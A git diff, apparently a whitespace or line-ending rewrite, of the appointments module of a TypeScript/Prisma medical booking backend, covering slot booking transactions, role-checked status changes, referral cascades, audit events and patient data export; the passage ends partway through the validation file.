-} - -export function findAppointmentById(db: DbClient, id: string) { - return db.appointment.findUnique({ where: { id } }); -} - -/** - * The appointment state machine's only write path: a conditional UPDATE - * that matches `status = 'scheduled'`. Exactly one concurrent caller can - * move a given appointment out of `scheduled`; a second attempt (or a - * replayed hook) matches zero rows, which the service turns into a 409 β€” - * this is what makes the referral cascade (issue #67) at-most-once per - * real transition, without relying on app-level checks. - */ -export function updateStatusIfScheduled(db: DbClient, id: string, status: AppointmentStatus) { - return db.appointment.updateMany({ where: { id, status: 'scheduled' }, data: { status } }); -} - -/** - * A cancelled appointment that released its slot back to `open` must also - * drop its unique claim on availabilitySlotId β€” otherwise re-booking the - * freed slot hits the unique constraint (discovered by the cascade - * integration tests). The history row survives; only the slot link is - * cleared. - */ -export function clearAvailabilitySlotLink(db: DbClient, id: string) { - return db.appointment.updateMany({ where: { id }, data: { availabilitySlotId: null } }); -} - -/** Existence check for the account-deletion retention hold (issue #41). */ -export async function patientHasAppointments(patientProfileId: string): Promise { - return (await prisma.appointment.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; -} +import { prisma } from '../../../db/prisma-client'; +import type { AppointmentStatus, Prisma } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export function createAppointment( + db: DbClient, + data: { + patientProfileId: string; + doctorProfileId: string; + availabilitySlotId: string; + origin?: 'direct_booking' | 'referral'; + referralId?: string; + }, +) { + return db.appointment.create({ data }); +} + +/** One keyset page of a patient's appointments, oldest first (patient data + * export, issue #40). Appointment columns only β€” slot/doctor details come + * from those modules' services, not a join. */ +export function findAppointmentsPageForPatient(patientProfileId: string, cursor: string | undefined, take: number) { + return prisma.appointment.findMany({ + where: { patientProfileId }, + orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], + take, + ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), + }); +} + +export function findAppointmentsForPatient(patientProfileId: string) { + return prisma.appointment.findMany({ + where: { patientProfileId }, + include: { availabilitySlot: true }, + orderBy: { createdAt: 'desc' }, + }); +} + +/** Today's scheduled appointments for one doctor's own calendar. The + * caller supplies the server-local day bounds; no patient-module data is + * joined here, preserving the module boundary. */ +export function findAppointmentsForDoctorOnDay(doctorProfileId: string, start: Date, end: Date) { + return prisma.appointment.findMany({ + where: { + doctorProfileId, + status: 'scheduled', + availabilitySlot: { is: { startTime: { gte: start, lt: end } } }, + }, + include: { availabilitySlot: true }, + orderBy: [{ availabilitySlot: { startTime: 'asc' } }, { id: 'asc' }], + }); +} + +/** Minimal appointment context for a doctor-owned consultation. */ +export function findAppointmentDoctorContext(id: string) { + return prisma.appointment.findUnique({ where: { id }, include: { doctorProfile: { select: { id: true, userId: true, verificationStatus: true } } } }); +} + +export function findAppointmentById(db: DbClient, id: string) { + return db.appointment.findUnique({ where: { id } }); +} + +/** + * The appointment state machine's only write path: a conditional UPDATE + * that matches `status = 'scheduled'`. Exactly one concurrent caller can + * move a given appointment out of `scheduled`; a second attempt (or a + * replayed hook) matches zero rows, which the service turns into a 409 β€” + * this is what makes the referral cascade (issue #67) at-most-once per + * real transition, without relying on app-level checks. + */ +export function updateStatusIfScheduled(db: DbClient, id: string, status: AppointmentStatus) { + return db.appointment.updateMany({ where: { id, status: 'scheduled' }, data: { status } }); +} + +/** + * A cancelled appointment that released its slot back to `open` must also + * drop its unique claim on availabilitySlotId β€” otherwise re-booking the + * freed slot hits the unique constraint (discovered by the cascade + * integration tests). The history row survives; only the slot link is + * cleared. + */ +export function clearAvailabilitySlotLink(db: DbClient, id: string) { + return db.appointment.updateMany({ where: { id }, data: { availabilitySlotId: null } }); +} + +/** Existence check for the account-deletion retention hold (issue #41). */ +export async function patientHasAppointments(patientProfileId: string): Promise { + return (await prisma.appointment.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; +} diff --git a/backend/src/modules/appointments/routes/index.ts b/backend/src/modules/appointments/routes/index.ts index dac47c1f..9868e58a 100644 --- a/backend/src/modules/appointments/routes/index.ts +++ b/backend/src/modules/appointments/routes/index.ts @@ -1,34 +1,34 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as appointmentsController from '../controllers'; - -export const appointmentsRouter = Router(); - -// Booking is a mutation against someone else's calendar, and the patient -// gets notifications about it β€” so it requires a verified address -// (Phase 8, issue #34). Browsing (`GET /availability/...`) stays open. -appointmentsRouter.post( - '/', - authenticate, - requireRole('patient'), - requireVerifiedEmail, - appointmentsController.book, -); -appointmentsRouter.get('/mine', authenticate, requireRole('patient'), appointmentsController.listMine); -appointmentsRouter.get('/doctor/today', authenticate, requireRole('doctor'), appointmentsController.listDoctorToday); - -// Lifecycle (issue #3 + the cascade trigger for issue #67): only the -// treating doctor moves an appointment through completed/cancelled/ -// no_show; the patient may cancel their own β€” nothing else. -appointmentsRouter.patch( - '/:appointmentId/status', - authenticate, - requireRole('doctor'), - appointmentsController.updateStatus, -); -appointmentsRouter.patch( - '/:appointmentId/cancel', - authenticate, - requireRole('patient'), - appointmentsController.cancelMine, -); +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as appointmentsController from '../controllers'; + +export const appointmentsRouter = Router(); + +// Booking is a mutation against someone else's calendar, and the patient +// gets notifications about it β€” so it requires a verified address +// (Phase 8, issue #34). Browsing (`GET /availability/...`) stays open. +appointmentsRouter.post( + '/', + authenticate, + requireRole('patient'), + requireVerifiedEmail, + appointmentsController.book, +); +appointmentsRouter.get('/mine', authenticate, requireRole('patient'), appointmentsController.listMine); +appointmentsRouter.get('/doctor/today', authenticate, requireRole('doctor'), appointmentsController.listDoctorToday); + +// Lifecycle (issue #3 + the cascade trigger for issue #67): only the +// treating doctor moves an appointment through completed/cancelled/ +// no_show; the patient may cancel their own β€” nothing else. +appointmentsRouter.patch( + '/:appointmentId/status', + authenticate, + requireRole('doctor'), + appointmentsController.updateStatus, +); +appointmentsRouter.patch( + '/:appointmentId/cancel', + authenticate, + requireRole('patient'), + appointmentsController.cancelMine, +); diff --git a/backend/src/modules/appointments/services/index.ts b/backend/src/modules/appointments/services/index.ts index 7b788880..a415d297 100644 --- a/backend/src/modules/appointments/services/index.ts +++ b/backend/src/modules/appointments/services/index.ts @@ -1,326 +1,326 @@ -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import type { AppointmentStatus, Prisma } from '@prisma/client'; -import { transitionAppointmentStatus } from '../state-machine'; -import * as appointmentsRepo from '../repositories'; -import * as availabilityService from '../../availability/services'; -import * as doctorsService from '../../doctors/services'; -import * as patientsService from '../../patients/services'; -import * as auditService from '../../audit/services'; -import * as referralsService from '../../referrals/services'; - -/** - * Books a slot for the calling patient. This is the correctness-critical - * path in the whole backend (ARCHITECTURE.md Β§5.1 / ROADMAP.md Phase 1 β€” - * "the single highest-priority correctness item in the whole roadmap"). - * - * Two steps, one transaction: - * 1. `availabilityService.claimOpenSlot` β€” a conditional `UPDATE ... - * WHERE status = 'open'`, atomic at the DB level. Exactly one - * concurrent caller can ever see `count === 1` for a given slot. - * 2. Create the `Appointment` row. - * Both inside the same transaction so a failure between them can never - * leave a slot marked `booked` with no `Appointment` to show for it. - * - * See backend/tests/integration/booking.test.ts for the concurrency proof - * this is built to satisfy. - * - * Phase 8, issue #42 (docs/adr/0011): `patientProfileId` books for a - * dependent the caller is an active guardian of. Authorisation happens - * here, BEFORE the transaction β€” it only decides which profile the - * appointment is for. The transaction below is unchanged by it. - * - * Phase 8, issue #43: the booking's AuditEvent is written as a third step - * of the same transaction, after the Appointment row exists β€” so an event - * exists if and only if the booking committed. A caller that loses the - * race fails at step 1 and never reaches it. For a guardian booking, the - * actor is the guardian and the event's metadata names the dependent's - * profile id. - */ -export async function bookSlot(actor: auditService.AuditActor, availabilitySlotId: string, patientProfileId?: string) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - const patientProfile = await patientsService.resolveActingProfile(actor.userId, patientProfileId); - - return prisma.$transaction(async (tx) => { - const claimed = await availabilityService.claimOpenSlot(tx, availabilitySlotId); - if (!claimed) { - throw new HttpError(409, 'This slot is no longer available.'); - } - - const slot = await availabilityService.getSlot(tx, availabilitySlotId); - if (!slot) { - // Can't happen in practice (claimOpenSlot just matched this id), but - // keeps TypeScript honest and fails loudly instead of silently. - throw new HttpError(404, 'Slot not found.'); - } - - const appointment = await appointmentsRepo.createAppointment(tx, { - patientProfileId: patientProfile.id, - doctorProfileId: slot.doctorProfileId, - availabilitySlotId, - }); - - await auditService.record(tx, actor, { - entityType: 'Appointment', - entityId: appointment.id, - action: 'appointment.booked', - fromState: null, - toState: appointment.status, - metadata: { - availabilitySlotId, - doctorProfileId: slot.doctorProfileId, - patientProfileId: patientProfile.id, - origin: appointment.origin, - }, - }); - - return appointment; - }); -} - -export async function listMyAppointments(userId: string, patientProfileId?: string) { - const patientProfile = await patientsService.resolveActingProfile(userId, patientProfileId); - return appointmentsRepo.findAppointmentsForPatient(patientProfile.id); -} - -/** - * Cross-module entry point for the consultations module: return the - * appointment a doctor may act on, or null if the appointment doesn't exist - * or isn't theirs. The consultations module never queries `Appointment` - * directly β€” it calls this service instead (AGENTS.md hard rule 4). - */ -export async function getAppointmentForDoctor(doctorUserId: string, appointmentId: string) { - const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); - if (!appointment) return null; - - const doctorProfile = await doctorsService.getDoctorProfileById(appointment.doctorProfileId); - if (doctorProfile.userId !== doctorUserId) return null; - - return appointment; -} - -/** Doctor's own scheduled appointments whose booked slot falls on the - * current server-local calendar day. */ -export async function listDoctorAppointmentsToday(userId: string) { - const doctor = await doctorsService.getMyDoctorProfile(userId); - const now = new Date(); - const start = new Date(now.getFullYear(), now.getMonth(), now.getDate()); - const end = new Date(now.getFullYear(), now.getMonth(), now.getDate() + 1); - return appointmentsRepo.findAppointmentsForDoctorOnDay(doctor.id, start, end); -} - -/** This module's contribution to the patient data export (issue #40). - * Slot times and the doctor's name are fetched per page through the - * availability and doctors services β€” never by joining their tables. */ -export const appointmentsExportSection: patientsService.PatientExportSection = { - name: 'appointments', - version: 1, - pages(subject, pageSize) { - return patientsService.paginate( - pageSize, - (cursor, take) => appointmentsRepo.findAppointmentsPageForPatient(subject.patientProfileId, cursor, take), - async (rows) => { - // `availabilitySlotId` is nullable (Phase 3): a CANCELLED - // appointment releases its slot back to the calendar, so its row - // keeps its history but no longer points at one. Those rows export - // with a null slot rather than a stale one. - const slotIds = rows.map((row) => row.availabilitySlotId).filter((id): id is string => id !== null); - const [slots, doctors] = await Promise.all([ - availabilityService.getSlotTimesByIds(slotIds), - doctorsService.getDoctorSummariesByIds(rows.map((row) => row.doctorProfileId)), - ]); - return rows.map((row) => ({ - id: row.id, - status: row.status, - origin: row.origin, - slot: row.availabilitySlotId ? (slots.get(row.availabilitySlotId) ?? null) : null, - doctor: doctors.get(row.doctorProfileId) ?? null, - createdAt: row.createdAt, - updatedAt: row.updatedAt, - })); - }, - ); - }, -}; - -/** Resolves an appointment for a doctor-owned consultation without exposing - * the appointments repository across the module boundary. */ -export async function getDoctorAppointmentContext(userId: string, appointmentId: string) { - const appointment = await appointmentsRepo.findAppointmentDoctorContext(appointmentId); - if (!appointment) throw new HttpError(404, 'Appointment not found.'); - if (appointment.doctorProfile.userId !== userId) throw new HttpError(403, 'You can only issue orders for your own appointments.'); - if (appointment.doctorProfile.verificationStatus !== 'verified') throw new HttpError(403, 'A verified doctor profile is required to issue orders.'); - return { id: appointment.id, patientProfileId: appointment.patientProfileId, doctorProfileId: appointment.doctorProfileId }; -} - -/** - * Creates the pre-populated appointment behind an accepted referral - * (PRD FR-8 / issue #7). Called by the referrals service from inside its - * accept transaction β€” same shape as bookSlot: conditional slot claim, - * then the Appointment row, with `origin: 'referral'` and the referralId - * link the cascade rules (issue #67) later react to. Appointment creation - * belongs to this module; the referral state machine belongs to referrals. - */ -export async function bookForReferral( - db: Prisma.TransactionClient, - input: { - patientProfileId: string; - doctorProfileId: string; - availabilitySlotId: string; - referralId: string; - }, - actor: auditService.AuditActor, -) { - const claimed = await availabilityService.claimOpenSlot(db, input.availabilitySlotId); - if (!claimed) { - throw new HttpError(409, 'This slot is no longer available.'); - } - - const slot = await availabilityService.getSlot(db, input.availabilitySlotId); - if (!slot) { - throw new HttpError(404, 'Slot not found.'); - } - if (slot.doctorProfileId !== input.doctorProfileId) { - throw new HttpError(409, 'That slot does not belong to the referral’s target doctor.'); - } - - const appointment = await appointmentsRepo.createAppointment(db, { - patientProfileId: input.patientProfileId, - doctorProfileId: input.doctorProfileId, - availabilitySlotId: input.availabilitySlotId, - origin: 'referral', - referralId: input.referralId, - }); - - // Same audit event a direct booking writes, in the same transaction β€” - // a referral-origin appointment is still an appointment, and the event's - // `origin` metadata is what tells the two apart. Without this, the - // referral accept path would be the one way to create an appointment - // with no trail at all. - await auditService.record(db, actor, { - entityType: 'Appointment', - entityId: appointment.id, - action: 'appointment.booked', - fromState: null, - toState: appointment.status, - metadata: { - availabilitySlotId: input.availabilitySlotId, - doctorProfileId: input.doctorProfileId, - origin: appointment.origin, - referralId: input.referralId, - }, - }); - - return appointment; -} - -/** - * Moves a scheduled appointment to a terminal status, in one transaction: - * the conditional status UPDATE, an optional slot release on cancellation, - * and β€” if the appointment came from a referral β€” the cascade reaction in - * the referrals module (issue #67, PRD Β§8.2.3). Running the transition - * twice is impossible by construction: the conditional UPDATE only ever - * matches a still-`scheduled` row, so the cascade hook below can only fire - * once per real transition (and the cascade itself is additionally - * conditional β€” see referralsService.applyAppointmentOutcome). - */ -async function applyScheduledTransition( - tx: Prisma.TransactionClient, - appointment: { id: string; availabilitySlotId: string | null; referralId: string | null }, - newStatus: AppointmentStatus, -) { - const updated = await appointmentsRepo.updateStatusIfScheduled(tx, appointment.id, newStatus); - if (updated.count !== 1) { - throw new HttpError(409, 'This appointment is no longer scheduled.'); - } - - // Only cancellations free the calendar slot, and only while it's still - // ahead of us β€” completed/no_show visits consumed the time either way. - // The appointment row must then drop its unique slot link so the freed - // slot can actually be re-booked. - if (newStatus === 'cancelled' && appointment.availabilitySlotId) { - const released = await availabilityService.releaseBookedSlotIfFuture(tx, appointment.availabilitySlotId); - if (released) { - await appointmentsRepo.clearAvailabilitySlotLink(tx, appointment.id); - } - } - - if (appointment.referralId) { - await referralsService.applyAppointmentOutcome(tx, { - appointmentId: appointment.id, - referralId: appointment.referralId, - status: newStatus as 'completed' | 'cancelled' | 'no_show', - }); - } -} - -/** - * Doctor-side lifecycle transition (issue #3): the treating doctor marks - * their own appointment completed / cancelled / no_show. Restricted to - * the doctor the appointment is against β€” no admin-on-behalf path in v1. - */ -export async function updateStatusByDoctor(userId: string, appointmentId: string, newStatus: AppointmentStatus) { - const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); - if (!appointment) throw new HttpError(404, 'Appointment not found.'); - await doctorsService.assertOwnsDoctorProfile(userId, appointment.doctorProfileId); - if (transitionAppointmentStatus(appointment.status, newStatus) === null) { - throw new HttpError(409, 'Only a scheduled appointment can change status.'); - } - - return prisma.$transaction(async (tx) => { - await applyScheduledTransition(tx, appointment, newStatus); - return appointmentsRepo.findAppointmentById(tx, appointmentId); - }); -} - -/** - * Patient-side cancellation of the patient's own scheduled appointment β€” - * the "patient cancels" half of PRD Β§8.2.3. Deliberately narrower than - * the doctor endpoint: a patient can only ever cancel (never mark - * completed/no_show β€” those are clinical judgements for the doctor), and - * only from `scheduled`. - */ -export async function cancelByPatient(userId: string, appointmentId: string) { - const patientProfile = await patientsService.getMyPatientProfile(userId); - const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); - if (!appointment) throw new HttpError(404, 'Appointment not found.'); - if (appointment.patientProfileId !== patientProfile.id) { - throw new HttpError(403, 'You can only cancel your own appointments.'); - } - if (appointment.status !== 'scheduled') { - throw new HttpError(409, 'Only a scheduled appointment can be cancelled.'); - } - - return prisma.$transaction(async (tx) => { - await applyScheduledTransition(tx, appointment, 'cancelled'); - return appointmentsRepo.findAppointmentById(tx, appointmentId); - }); -} - -/** - * Called by the referrals module's admin cancel (#68) inside its - * transaction: close a live appointment without firing the referral - * cascade back (the caller already knows it's cancelling the referral). - * Appointment rows are still only ever written by this module β€” the - * boundary holds. - */ -export async function forceCancelAppointment(db: Prisma.TransactionClient, appointmentId: string) { - const appointment = await appointmentsRepo.findAppointmentById(db, appointmentId); - if (!appointment || appointment.status !== 'scheduled') { - return null; // already terminal β€” idempotent for the caller - } - const updated = await appointmentsRepo.updateStatusIfScheduled(db, appointmentId, 'cancelled'); - if (updated.count === 1 && appointment.availabilitySlotId) { - const released = await availabilityService.releaseBookedSlotIfFuture(db, appointment.availabilitySlotId); - if (released) { - await appointmentsRepo.clearAvailabilitySlotLink(db, appointmentId); - } - } - return appointmentsRepo.findAppointmentById(db, appointmentId); -} - -/** Retention hold (issue #41, docs/adr/0010): appointments are clinical - * records, so a patient who has any is never purged after deletion. */ -export function hasAppointmentsForPatient(patientProfileId: string): Promise { - return appointmentsRepo.patientHasAppointments(patientProfileId); -} +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import type { AppointmentStatus, Prisma } from '@prisma/client'; +import { transitionAppointmentStatus } from '../state-machine'; +import * as appointmentsRepo from '../repositories'; +import * as availabilityService from '../../availability/services'; +import * as doctorsService from '../../doctors/services'; +import * as patientsService from '../../patients/services'; +import * as auditService from '../../audit/services'; +import * as referralsService from '../../referrals/services'; + +/** + * Books a slot for the calling patient. This is the correctness-critical + * path in the whole backend (ARCHITECTURE.md Β§5.1 / ROADMAP.md Phase 1 β€” + * "the single highest-priority correctness item in the whole roadmap"). + * + * Two steps, one transaction: + * 1. `availabilityService.claimOpenSlot` β€” a conditional `UPDATE ... + * WHERE status = 'open'`, atomic at the DB level. Exactly one + * concurrent caller can ever see `count === 1` for a given slot. + * 2. Create the `Appointment` row. + * Both inside the same transaction so a failure between them can never + * leave a slot marked `booked` with no `Appointment` to show for it. + * + * See backend/tests/integration/booking.test.ts for the concurrency proof + * this is built to satisfy. + * + * Phase 8, issue #42 (docs/adr/0011): `patientProfileId` books for a + * dependent the caller is an active guardian of. Authorisation happens + * here, BEFORE the transaction β€” it only decides which profile the + * appointment is for. The transaction below is unchanged by it. + * + * Phase 8, issue #43: the booking's AuditEvent is written as a third step + * of the same transaction, after the Appointment row exists β€” so an event + * exists if and only if the booking committed. A caller that loses the + * race fails at step 1 and never reaches it. For a guardian booking, the + * actor is the guardian and the event's metadata names the dependent's + * profile id. + */ +export async function bookSlot(actor: auditService.AuditActor, availabilitySlotId: string, patientProfileId?: string) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + const patientProfile = await patientsService.resolveActingProfile(actor.userId, patientProfileId); + + return prisma.$transaction(async (tx) => { + const claimed = await availabilityService.claimOpenSlot(tx, availabilitySlotId); + if (!claimed) { + throw new HttpError(409, 'This slot is no longer available.'); + } + + const slot = await availabilityService.getSlot(tx, availabilitySlotId); + if (!slot) { + // Can't happen in practice (claimOpenSlot just matched this id), but + // keeps TypeScript honest and fails loudly instead of silently. + throw new HttpError(404, 'Slot not found.'); + } + + const appointment = await appointmentsRepo.createAppointment(tx, { + patientProfileId: patientProfile.id, + doctorProfileId: slot.doctorProfileId, + availabilitySlotId, + }); + + await auditService.record(tx, actor, { + entityType: 'Appointment', + entityId: appointment.id, + action: 'appointment.booked', + fromState: null, + toState: appointment.status, + metadata: { + availabilitySlotId, + doctorProfileId: slot.doctorProfileId, + patientProfileId: patientProfile.id, + origin: appointment.origin, + }, + }); + + return appointment; + }); +} + +export async function listMyAppointments(userId: string, patientProfileId?: string) { + const patientProfile = await patientsService.resolveActingProfile(userId, patientProfileId); + return appointmentsRepo.findAppointmentsForPatient(patientProfile.id); +} + +/** + * Cross-module entry point for the consultations module: return the + * appointment a doctor may act on, or null if the appointment doesn't exist + * or isn't theirs. The consultations module never queries `Appointment` + * directly β€” it calls this service instead (AGENTS.md hard rule 4). + */ +export async function getAppointmentForDoctor(doctorUserId: string, appointmentId: string) { + const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); + if (!appointment) return null; + + const doctorProfile = await doctorsService.getDoctorProfileById(appointment.doctorProfileId); + if (doctorProfile.userId !== doctorUserId) return null; + + return appointment; +} + +/** Doctor's own scheduled appointments whose booked slot falls on the + * current server-local calendar day. */ +export async function listDoctorAppointmentsToday(userId: string) { + const doctor = await doctorsService.getMyDoctorProfile(userId); + const now = new Date(); + const start = new Date(now.getFullYear(), now.getMonth(), now.getDate()); + const end = new Date(now.getFullYear(), now.getMonth(), now.getDate() + 1); + return appointmentsRepo.findAppointmentsForDoctorOnDay(doctor.id, start, end); +} + +/** This module's contribution to the patient data export (issue #40). + * Slot times and the doctor's name are fetched per page through the + * availability and doctors services β€” never by joining their tables. */ +export const appointmentsExportSection: patientsService.PatientExportSection = { + name: 'appointments', + version: 1, + pages(subject, pageSize) { + return patientsService.paginate( + pageSize, + (cursor, take) => appointmentsRepo.findAppointmentsPageForPatient(subject.patientProfileId, cursor, take), + async (rows) => { + // `availabilitySlotId` is nullable (Phase 3): a CANCELLED + // appointment releases its slot back to the calendar, so its row + // keeps its history but no longer points at one. Those rows export + // with a null slot rather than a stale one. + const slotIds = rows.map((row) => row.availabilitySlotId).filter((id): id is string => id !== null); + const [slots, doctors] = await Promise.all([ + availabilityService.getSlotTimesByIds(slotIds), + doctorsService.getDoctorSummariesByIds(rows.map((row) => row.doctorProfileId)), + ]); + return rows.map((row) => ({ + id: row.id, + status: row.status, + origin: row.origin, + slot: row.availabilitySlotId ? (slots.get(row.availabilitySlotId) ?? null) : null, + doctor: doctors.get(row.doctorProfileId) ?? null, + createdAt: row.createdAt, + updatedAt: row.updatedAt, + })); + }, + ); + }, +}; + +/** Resolves an appointment for a doctor-owned consultation without exposing + * the appointments repository across the module boundary. */ +export async function getDoctorAppointmentContext(userId: string, appointmentId: string) { + const appointment = await appointmentsRepo.findAppointmentDoctorContext(appointmentId); + if (!appointment) throw new HttpError(404, 'Appointment not found.'); + if (appointment.doctorProfile.userId !== userId) throw new HttpError(403, 'You can only issue orders for your own appointments.'); + if (appointment.doctorProfile.verificationStatus !== 'verified') throw new HttpError(403, 'A verified doctor profile is required to issue orders.'); + return { id: appointment.id, patientProfileId: appointment.patientProfileId, doctorProfileId: appointment.doctorProfileId }; +} + +/** + * Creates the pre-populated appointment behind an accepted referral + * (PRD FR-8 / issue #7). Called by the referrals service from inside its + * accept transaction β€” same shape as bookSlot: conditional slot claim, + * then the Appointment row, with `origin: 'referral'` and the referralId + * link the cascade rules (issue #67) later react to. Appointment creation + * belongs to this module; the referral state machine belongs to referrals. + */ +export async function bookForReferral( + db: Prisma.TransactionClient, + input: { + patientProfileId: string; + doctorProfileId: string; + availabilitySlotId: string; + referralId: string; + }, + actor: auditService.AuditActor, +) { + const claimed = await availabilityService.claimOpenSlot(db, input.availabilitySlotId); + if (!claimed) { + throw new HttpError(409, 'This slot is no longer available.'); + } + + const slot = await availabilityService.getSlot(db, input.availabilitySlotId); + if (!slot) { + throw new HttpError(404, 'Slot not found.'); + } + if (slot.doctorProfileId !== input.doctorProfileId) { + throw new HttpError(409, 'That slot does not belong to the referral’s target doctor.'); + } + + const appointment = await appointmentsRepo.createAppointment(db, { + patientProfileId: input.patientProfileId, + doctorProfileId: input.doctorProfileId, + availabilitySlotId: input.availabilitySlotId, + origin: 'referral', + referralId: input.referralId, + }); + + // Same audit event a direct booking writes, in the same transaction β€” + // a referral-origin appointment is still an appointment, and the event's + // `origin` metadata is what tells the two apart. Without this, the + // referral accept path would be the one way to create an appointment + // with no trail at all. + await auditService.record(db, actor, { + entityType: 'Appointment', + entityId: appointment.id, + action: 'appointment.booked', + fromState: null, + toState: appointment.status, + metadata: { + availabilitySlotId: input.availabilitySlotId, + doctorProfileId: input.doctorProfileId, + origin: appointment.origin, + referralId: input.referralId, + }, + }); + + return appointment; +} + +/** + * Moves a scheduled appointment to a terminal status, in one transaction: + * the conditional status UPDATE, an optional slot release on cancellation, + * and β€” if the appointment came from a referral β€” the cascade reaction in + * the referrals module (issue #67, PRD Β§8.2.3). Running the transition + * twice is impossible by construction: the conditional UPDATE only ever + * matches a still-`scheduled` row, so the cascade hook below can only fire + * once per real transition (and the cascade itself is additionally + * conditional β€” see referralsService.applyAppointmentOutcome). + */ +async function applyScheduledTransition( + tx: Prisma.TransactionClient, + appointment: { id: string; availabilitySlotId: string | null; referralId: string | null }, + newStatus: AppointmentStatus, +) { + const updated = await appointmentsRepo.updateStatusIfScheduled(tx, appointment.id, newStatus); + if (updated.count !== 1) { + throw new HttpError(409, 'This appointment is no longer scheduled.'); + } + + // Only cancellations free the calendar slot, and only while it's still + // ahead of us β€” completed/no_show visits consumed the time either way. + // The appointment row must then drop its unique slot link so the freed + // slot can actually be re-booked. + if (newStatus === 'cancelled' && appointment.availabilitySlotId) { + const released = await availabilityService.releaseBookedSlotIfFuture(tx, appointment.availabilitySlotId); + if (released) { + await appointmentsRepo.clearAvailabilitySlotLink(tx, appointment.id); + } + } + + if (appointment.referralId) { + await referralsService.applyAppointmentOutcome(tx, { + appointmentId: appointment.id, + referralId: appointment.referralId, + status: newStatus as 'completed' | 'cancelled' | 'no_show', + }); + } +} + +/** + * Doctor-side lifecycle transition (issue #3): the treating doctor marks + * their own appointment completed / cancelled / no_show. Restricted to + * the doctor the appointment is against β€” no admin-on-behalf path in v1. + */ +export async function updateStatusByDoctor(userId: string, appointmentId: string, newStatus: AppointmentStatus) { + const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); + if (!appointment) throw new HttpError(404, 'Appointment not found.'); + await doctorsService.assertOwnsDoctorProfile(userId, appointment.doctorProfileId); + if (transitionAppointmentStatus(appointment.status, newStatus) === null) { + throw new HttpError(409, 'Only a scheduled appointment can change status.'); + } + + return prisma.$transaction(async (tx) => { + await applyScheduledTransition(tx, appointment, newStatus); + return appointmentsRepo.findAppointmentById(tx, appointmentId); + }); +} + +/** + * Patient-side cancellation of the patient's own scheduled appointment β€” + * the "patient cancels" half of PRD Β§8.2.3. Deliberately narrower than + * the doctor endpoint: a patient can only ever cancel (never mark + * completed/no_show β€” those are clinical judgements for the doctor), and + * only from `scheduled`. + */ +export async function cancelByPatient(userId: string, appointmentId: string) { + const patientProfile = await patientsService.getMyPatientProfile(userId); + const appointment = await appointmentsRepo.findAppointmentById(prisma, appointmentId); + if (!appointment) throw new HttpError(404, 'Appointment not found.'); + if (appointment.patientProfileId !== patientProfile.id) { + throw new HttpError(403, 'You can only cancel your own appointments.'); + } + if (appointment.status !== 'scheduled') { + throw new HttpError(409, 'Only a scheduled appointment can be cancelled.'); + } + + return prisma.$transaction(async (tx) => { + await applyScheduledTransition(tx, appointment, 'cancelled'); + return appointmentsRepo.findAppointmentById(tx, appointmentId); + }); +} + +/** + * Called by the referrals module's admin cancel (#68) inside its + * transaction: close a live appointment without firing the referral + * cascade back (the caller already knows it's cancelling the referral). + * Appointment rows are still only ever written by this module β€” the + * boundary holds. + */ +export async function forceCancelAppointment(db: Prisma.TransactionClient, appointmentId: string) { + const appointment = await appointmentsRepo.findAppointmentById(db, appointmentId); + if (!appointment || appointment.status !== 'scheduled') { + return null; // already terminal β€” idempotent for the caller + } + const updated = await appointmentsRepo.updateStatusIfScheduled(db, appointmentId, 'cancelled'); + if (updated.count === 1 && appointment.availabilitySlotId) { + const released = await availabilityService.releaseBookedSlotIfFuture(db, appointment.availabilitySlotId); + if (released) { + await appointmentsRepo.clearAvailabilitySlotLink(db, appointmentId); + } + } + return appointmentsRepo.findAppointmentById(db, appointmentId); +} + +/** Retention hold (issue #41, docs/adr/0010): appointments are clinical + * records, so a patient who has any is never purged after deletion. */ +export function hasAppointmentsForPatient(patientProfileId: string): Promise { + return appointmentsRepo.patientHasAppointments(patientProfileId); +} diff --git a/backend/src/modules/appointments/state-machine.ts b/backend/src/modules/appointments/state-machine.ts index a75d9029..4be271c4 100644 --- a/backend/src/modules/appointments/state-machine.ts +++ b/backend/src/modules/appointments/state-machine.ts @@ -1,16 +1,16 @@ -import type { AppointmentStatus } from '@prisma/client'; - -const transitions: Record = { - scheduled: ['completed', 'cancelled', 'no_show'], - completed: [], - cancelled: [], - no_show: [], -}; - -/** Returns the next state or null when a requested lifecycle transition is illegal. */ -export function transitionAppointmentStatus( - current: AppointmentStatus, - requested: AppointmentStatus, -): AppointmentStatus | null { - return transitions[current].includes(requested) ? requested : null; -} +import type { AppointmentStatus } from '@prisma/client'; + +const transitions: Record = { + scheduled: ['completed', 'cancelled', 'no_show'], + completed: [], + cancelled: [], + no_show: [], +}; + +/** Returns the next state or null when a requested lifecycle transition is illegal. */ +export function transitionAppointmentStatus( + current: AppointmentStatus, + requested: AppointmentStatus, +): AppointmentStatus | null { + return transitions[current].includes(requested) ? requested : null; +} diff --git a/backend/src/modules/appointments/validation.ts b/backend/src/modules/appointments/validation.ts index 8a730943..eaf74d2a 100644 --- a/backend/src/modules/appointments/validation.ts +++ b/backend/src/modules/appointments/validation.ts @@ -1,18 +1,18 @@ -import { z } from 'zod'; - -export const bookSlotSchema = z.object({ - availabilitySlotId: z.string().min(1), - // Phase 8, issue #42: book for a dependent the caller is guardian of. - // Omitted (or the caller's own profile id) = book for yourself. - patientProfileId: z.string().min(1).optional(), -}); - -// Phase 8, issue #42: `GET /appointments/mine?patientProfileId=` lists a -// dependent's appointments, authorised the same way as booking. -export const listMineQuerySchema = z.object({ - patientProfileId: z.string().min(1).optional(), -}); - -export const updateStatusSchema = z.object({ - status: z.enum(['completed', 'cancelled', 'no_show']), -}); +import { z } from 'zod'; + +export const bookSlotSchema = z.object({ + 